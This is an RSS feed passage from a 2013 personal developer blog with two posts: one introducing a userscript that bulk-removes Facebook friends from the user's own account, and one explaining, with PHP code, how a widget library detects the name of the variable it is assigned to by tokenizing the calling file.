<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AbiusX</title>
	<atom:link href="http://abiusx.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://abiusx.com</link>
	<description>official website of Abbas Naderi Afooshteh</description>
	<lastBuildDate>Thu, 21 Mar 2013 21:44:43 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Mass Removing Facebook Friends</title>
		<link>http://abiusx.com/mass-removing-facebook-friends/</link>
		<comments>http://abiusx.com/mass-removing-facebook-friends/#comments</comments>
		<pubDate>Thu, 21 Mar 2013 21:44:43 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Bulk removing facebook friends]]></category>
		<category><![CDATA[bulk removing inactive friends in facebook]]></category>
		<category><![CDATA[delete facebook]]></category>
		<category><![CDATA[deleting facebook friends]]></category>
		<category><![CDATA[FacebookDelete]]></category>
		<category><![CDATA[FacebookDeleteX]]></category>
		<category><![CDATA[fast deleting facebook friends]]></category>
		<category><![CDATA[fast remove]]></category>
		<category><![CDATA[fast removing facebook friends]]></category>
		<category><![CDATA[Mass removal of friends on facebook]]></category>
		<category><![CDATA[removing disabled friends]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=859</guid>
		<description><![CDATA[I have Googled around on how to mass remove facebook friends from time to time. Unfortunately facebook does not allow that, because its bad for business; but many people are looking for a hack around. Back in the day, the mobile version had a much easier friend removal process, but they&#8217;ve made it similar to [...]]]></description>
				<content:encoded><![CDATA[I have Googled around on how to mass remove facebook friends from time to time. Unfortunately facebook does not allow that, because its bad for business; but many people are looking for a hack around. Back in the day, the mobile version had a much easier friend removal process, but they&#8217;ve made it similar to the desktop version and very boring.

The current method of removing a friend, involves either going to his/her profile or to your list of friends, hovering over friend-status button (first request), selecting unfriend (second request), confirming it (third request), approving the removal (forth request). Each of those asynchronous operations need to be done synchronously, because the confirmation dialogs take half of the page; so assuming each one takes half a second, it takes 3 seconds to remove a friend (on a delay-free connection).

Now what if you have 4000 friends (many of which are taking dust) and you want to remove around 3000 of them? Welcome to hell. If you take up the manual approach, you&#8217;re bound to drop midway, because it takes more than 4 hours and drives you nuts.

There are scripts around that usually don&#8217;t work, and are mostly non-user-friendly. I decided to filter my friend list today, and when I got to it, I realized it would be much better to spend those 4 hours creating something that others can use as well, instead of doing some repetitive work (which is literal hell for developers and hackers). So I made this script:
<p style="text-align: center;"><a title="FacebookDeleteX" href="http://userscripts.org/scripts/show/162656" target="_blank">http://userscripts.org/scripts/show/162656</a></p>
<p style="text-align: left;">It&#8217;s a robust script run inside <a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/" target="_blank">GreaseMonkey</a> (for Firefox) or <a href="https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=en" target="_blank">TamperMonkey</a> (for Chrome), which are basically environments to run hack scripts for different websites. The script does not work on non-recent browsers and on Internet Explorer. I suggest using fresh Google Chrome, as the script is CPU intensive and Google Chrome is the best for rapid Javascript evaluation.</p>
<p style="text-align: left;">After installing the script in your grease environment, and enabling it (you should disable it after you&#8217;re done, as it messes with facebook dialogs), head to your friends edit page (https://facebook.com/friends/edit), and you should see <strong>Fast Remove</strong> buttons next to every active friend&#8217;s picture. The edit friends page of facebook only displays a handfull of friends, but scrolling to the bottom adds another handfull to the page. You can put some adequately heavy object on your Page Down keyboard button, and leave it be until all friends are listed.</p>
<p style="text-align: left;">Now the first thing to do, is delete all your inactive friends (people who have disabled their facebook accounts). 90% of them never get back to facebook, and those who do, can go ahead and add you again. From the TamperMonkey (or equivalent) menu, click on <strong>FacebookDeleteX &#8211; Remove Inactive</strong>  submenu. A confirmation box will appear, saying how many inactive friends found, and if you&#8217;re sure to delete them all. After clicking yes, all deletions are queued and another dialog gives you some information.</p>
<p style="text-align: left;">At this step, you should wait (or you can start doing the fast removal &#8211; next step). Because each removal requires 4 steps (requests to be made by the script), each one of them takes some time to accomplish. Closing the page will cancel them. If you&#8217;re removing 1000 inactive friends, you should wait at least 1000&#215;3 seconds (or an hour). You can always check your number of friends before starting this, and check it again in another window and see when it reaches the desired amount (total_number &#8211; inactive_number), then close this window.</p>
<p style="text-align: left;">The final step, is manual fast-removal of your friends. In this step, you have to click on each <strong>Fast Remove</strong> button, next to people who you don&#8217;t want anymore. Don&#8217;t spend too much time deciding if something belongs or not, just press Fast Remove. Later you can add them again easily.</p>
<p style="text-align: left;">Every time you press Fast Remove, it takes a second or so for the requests to be handled and for the button to disappear (if you&#8217;ve a lot of requests queued from previous step, it can take a lot. Just click them once and proceed to the next one, or open another window and do this there) . Right after that, a dialog box pops up informing you that the friend was removed. This script will automatically close these dialogs once every second.</p>
<p style="text-align: left;"></p>
<p style="text-align: left;">If anything seemed not to work with the script, don&#8217;t hesitate to contact me for a fix. Happy facebooking.</p>
<p style="text-align: left;">P.S this script takes 60% CPU on a MacBook Pro Retina (which is equivalent of 4 regular PCs).</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/mass-removing-facebook-friends/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Meta-Reflection variable name detection problem for Pull Widgets in PHP</title>
		<link>http://abiusx.com/meta-reflection-variable-name-detection-problem-for-pull-widgets-in-php/</link>
		<comments>http://abiusx.com/meta-reflection-variable-name-detection-problem-for-pull-widgets-in-php/#comments</comments>
		<pubDate>Tue, 19 Mar 2013 12:36:31 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[Computer]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Software Engineering]]></category>
		<category><![CDATA[code re-use]]></category>
		<category><![CDATA[detect name of php variable]]></category>
		<category><![CDATA[get_defined_vars]]></category>
		<category><![CDATA[how to get php variable as string]]></category>
		<category><![CDATA[introspection]]></category>
		<category><![CDATA[meta-object]]></category>
		<category><![CDATA[meta-object-compiler]]></category>
		<category><![CDATA[meta-object-parser]]></category>
		<category><![CDATA[meta-reflection]]></category>
		<category><![CDATA[obtain variable name in php]]></category>
		<category><![CDATA[variable name as string]]></category>
		<category><![CDATA[variable name detection]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=838</guid>
		<description><![CDATA[First of all, Happy Nowruz! Tomorrow is officially the new Jalali year&#8216;s start. Best of wishes to everyone. The Problem I&#8217;ve been working on an elegant design for a new PHP Widget library for some time now. It is intended to provide a Pull MVC feature for jframework. As you know, MVC provides a separation [...]]]></description>
				<content:encoded><![CDATA[<p>First of all, Happy <a href='https://en.wikipedia.org/wiki/Nowruz'>Nowruz!</a> Tomorrow is officially the new <a href='https://en.wikipedia.org/wiki/Jalali_calendar'>Jalali year</a>&#8216;s start. Best of wishes to everyone.
</p>

<strong>The Problem</strong>
<p>
I&#8217;ve been working on an elegant design for a new PHP Widget library for some time now. It is intended to provide a Pull <a href='https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller'>MVC</a> feature for jframework. As you know, MVC provides a separation of concerns, allowing different expertise people to work separately on their designated part of the application. The model part (which is the business logic of the application, plus some of the solution domain) is usually very re-usable and employs object oriented to great extent. The controller part, is mostly lightweight and consists of code usually not re-usable.
</p><p>
The problem resides in the view part of the MVC. Views are mostly HTML/CSS that dump some variables and arrays. Sometimes templates are employed in views, to reduce repeated code, but still most of the views are repeated code. Imagine two different areas of a web application, both providing tabular data of different origin. 70% of their code is the same but due to difference of data nature, usually no re-using is done.
</p><p>
I&#8217;m not gonna talk about benefits of code re-use here, but you get the picture.
</p><p>
Pull MVC, in contrast to Push MVC, is a system in which the view asks for content to render themselves by pulling them in, instead of pushing the content directly on the screen. It is usually provided by widget systems, and is much more object oriented. The problem with Pull systems is that view is usually designed and not developed, by a graphical designer who is adept in HTML and CSS.
</p>
<strong>The Actual Thingie</strong>
<p>
The first thing I wanted to do, was to preserve maximum simplicity. You can not expect a library to require redundancy to provide code re-use. I do not like libraries that take control of everything and don&#8217;t let developers to change their mechanics. So I wanted to replace this practice:
</p>


<div class="wp_syntax"><table><tr><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$form1</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> jForm<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$form1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setName</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;form1&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$form1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setMethod</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;post&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$button1</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> jFormButton<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;form1&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$button1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setName</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;button1&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$button1</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setLabel</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Push Me!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>



<p>
To a single liner elegant approach:
</p>


<div class="wp_syntax"><table><tr><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$form1</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> jForm<span style="color: #009900;">&#40;</span>jForm<span style="color: #339933;">::</span><span style="color: #004000;">Method_Post</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$button1</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> jFormButton<span style="color: #009900;">&#40;</span><span style="color: #000088;">$form1</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;Push Me!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>



<p>
So the first thing I needed to be done, was for jForm (or any other jWidget instance) to know what variable it is assigned to &#8211; in this case $form1 &#8211; and name itself after it. The name is actually used a lot in the generated HTML code, for validation, for CSRF protection, for HTML form element names, for HTML IDs, for CSS classes and a lot more.
</p>
<span id="more-838"></span>
<p>
There were two proposed methods over the net. One was to employ get_defined_vars PHP function to get a list of variables, and then compare them with $this inside the class constructor to generate the name. It required you to code like this:
</p>


<div class="wp_syntax"><table><tr><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$form1</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> jForm<span style="color: #009900;">&#40;</span><span style="color: #990000;">get_defined_vars</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>



<p>
Because get_defined_vars returns the list of variables in each scope. Not very elegant, but still worth a shot if it was working. There are two problems with this approach, first is that every value-equal variable (though not the same) is matched, and second something that I&#8217;ll describe later.
</p><p>
The other approach was to get_defined_vars, change the variable and get_defined_vars again, comparing them and finding our variable. Unfortunately $this can not be changed.
</p><p>
The second problem, rendering both methods perfectly useless was that $form1 is <strong>not</strong> defined at the point the constructor is called, because first the right hand of the assignment is evaluated &#8211; thus calling the constructor &#8211; and then the left hand side is assigned.
</p>

<strong>The Solution</strong>
<p>
I would not let go of my desired design, as I was aware that an inconvenient library would simply not be used at all. I will post my solution first, and then describe it. The posted solution is the ParseName method of jWidget class, the base class for all other widgets used to detect their variable names:
</p>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> ParseName<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #666666; font-style: italic;">//first lets find the file who created the widget</span>
	<span style="color: #000088;">$backtrace</span> <span style="color: #339933;">=</span> <span style="color: #990000;">debug_backtrace</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$backtraceIndex</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #666666; font-style: italic;">//step over all subclasses of jWidget, who called parent constructor to get the name done. Also other methods of this class</span>
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$backtrace</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$backtraceIndex</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'class'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span><span style="color: #990000;">is_a</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$backtrace</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$backtraceIndex</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'class'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;jWidget&quot;</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$backtraceIndex</span><span style="color: #339933;">++;</span>
	<span style="color: #000088;">$backtraceIndex</span><span style="color: #339933;">--;</span>
	<span style="color: #000088;">$file</span><span style="color: #339933;">=</span><span style="color: #000088;">$backtrace</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$backtraceIndex</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$line</span><span style="color: #339933;">=</span><span style="color: #000088;">$backtrace</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$backtraceIndex</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'line'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//used in error messages</span>
&nbsp;
&nbsp;
	<span style="color: #000088;">$classname</span><span style="color: #339933;">=</span><span style="color: #990000;">get_class</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$classInstanceCountPerFile</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> and <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$classInstanceCountPerFile</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$classname</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> 
	<span style="color: #666666; font-style: italic;">//this widget already instantiated in this file, increase count and check for x-th occurance</span>
		<span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$classInstanceCountPerFile</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$classname</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
	<span style="color: #b1b100;">else</span>
		<span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$classInstanceCountPerFile</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$classname</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$desiredCount</span><span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$classInstanceCountPerFile</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$classname</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$currentCount</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$php_code</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$file</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$tokens</span> <span style="color: #339933;">=</span> <span style="color: #990000;">token_get_all</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$php_code</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <span style="color: #990000;">count</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$tokens</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$count</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tokens</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">===</span>T_NEW<span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//found the &quot;new&quot; keyword</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #666666; font-style: italic;">//go forth until you find the classname</span>
			<span style="color: #000088;">$j</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tokens</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span>T_WHITESPACE<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$j</span><span style="color: #339933;">++;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tokens</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #000088;">$classname</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//if desired class found, increase count until we reach our desired index</span>
				<span style="color: #000088;">$currentCount</span><span style="color: #339933;">++;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$currentCount</span><span style="color: #339933;">==</span><span style="color: #000088;">$desiredCount</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//found our variable name line, the occurance reached the desired</span>
			<span style="color: #009900;">&#123;</span>
&nbsp;
				<span style="color: #666666; font-style: italic;">//go back until you find the assignment sign</span>
				<span style="color: #000088;">$j</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tokens</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">-</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span>T_WHITESPACE<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$j</span><span style="color: #339933;">++;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tokens</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">-</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;=&quot;</span><span style="color: #009900;">&#41;</span>
				<span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> Exception<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;You should instantiate jWidget by assigning it to a variable, e.g <span style="color: #000099; font-weight: bold;">\$</span>someWidget=new jWidget(<span style="color: #000099; font-weight: bold;">\$</span>this);
							in file <span style="color: #006699; font-weight: bold;">{$file}</span> line <span style="color: #006699; font-weight: bold;">{$line}</span> &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #666666; font-style: italic;">//go furthur back until you find the variable name</span>
				<span style="color: #000088;">$j</span><span style="color: #339933;">++;</span>
				<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$tokens</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">-</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span>T_WHITESPACE<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$j</span><span style="color: #339933;">++;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tokens</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">-</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">!=</span>T_VARIABLE<span style="color: #009900;">&#41;</span>
				<span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> Exception<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Could not find variable: You should instantiate jWidget by assigning it to a variable, e.g <span style="color: #000099; font-weight: bold;">\$</span>someWidget=new jWidget(<span style="color: #000099; font-weight: bold;">\$</span>this);
							in file <span style="color: #006699; font-weight: bold;">{$file}</span> line <span style="color: #006699; font-weight: bold;">{$line}</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #000088;">$variableName</span><span style="color: #339933;">=</span><span style="color: #000088;">$tokens</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">-</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$variableName</span><span style="color: #339933;">=</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$variableName</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//remove the $ sign</span>
				<span style="color: #666666; font-style: italic;">//check if this name already used on another widget</span>
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$widgetInfo</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$variableName</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
					<span style="color: #b1b100;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> Exception<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Name used for widget object at <span style="color: #006699; font-weight: bold;">{$file}</span>:<span style="color: #006699; font-weight: bold;">{$line}</span> already used for another widget at &quot;</span><span style="color: #339933;">.</span>
						<span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$widgetInfo</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$variableName</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$widgetInfo</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$variableName</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'line'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #666666; font-style: italic;">//store this new widget information</span>
				<span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$widgetInfo</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$variableName</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;class&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$classname</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;file&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;line&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$line</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">return</span> <span style="color: #000088;">$variableName</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #666666; font-style: italic;">//this should not happen!</span>
	<span style="color: #b1b100;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> Exception<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Could not find appropariate jWidget instanciation in <span style="color: #006699; font-weight: bold;">{$file}</span>:<span style="color: #006699; font-weight: bold;">{$line}</span> (Maybe you forgot to call parent::__construct(<span style="color: #000099; font-weight: bold;">\$</span>Parent) in your widget constructor?)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>



<p>
First, I know that this code can be optimized much, that is not of the essence here. Lines 3 to 10, have the responsibility of finding the callee, i.e the file and the line where the class is instantiated. The file is used for tokenizer and the line for error messages. Lines 12 to 22 will be described later.
</p><p>
Next we tokenize the PHP file and start looping through the tokens until we find a T_NEW (new object) token. From there, we go forward until we find our desired class name (e.g &#8220;jForm&#8221;). Since many instantiations of the same class could be made in one file, we keep track of them (the counting of lines 12 to 22) so that for the n-th instance of the same class, we search for the n-th occurrence of &#8220;new thatClass()&#8221;.
</p><p>
When we find that, we go back in tokens searching for an assignment mark. If not found, it is an improper usage (e.g something like $form1 = new jForm(); new jFormButton($form1);) so we trigger an error. Same goes if a variable is not before the assignment mark.
</p><p>
